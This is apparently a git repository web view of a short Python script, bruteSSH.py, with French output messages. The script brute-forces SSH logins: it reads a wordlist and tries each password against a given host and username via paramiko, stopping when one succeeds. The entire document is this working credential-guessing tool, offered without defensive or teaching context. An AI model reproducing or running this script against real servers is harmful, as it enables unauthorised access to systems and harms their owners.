summaryrefslogtreecommitdiff
path: root/bruteSSH.py
blob: 3fc2f40bf80a56a0ffc30fe71a7f97921615e63c (plain)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import paramiko, sys

def bruteforce(hostname, username, password):
    client = paramiko.SSHClient()
    client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    try:
        client.connect(hostname, username=username, password=password)
    except paramiko.ssh_exception.AuthenticationException:
        print("erreur : ",password)
        #pass
    else:
        print("trouvé : ",password)
        return True
    finally:
        client.close()

if __name__ == "__main__":
    hostname = sys.argv[1]
    username = sys.argv[2]
    dico = sys.argv[3]
    try:
        with open(dico, 'r') as wordlist:
            for ligne in wordlist.readlines():
                password=ligne.strip()
                if bruteforce(hostname,username,password)==True:
                    sys.exit()
    except IndexError:
        print(f"{sys.argv[0]} demande une hôte, un username et une liste de passwords en arguments")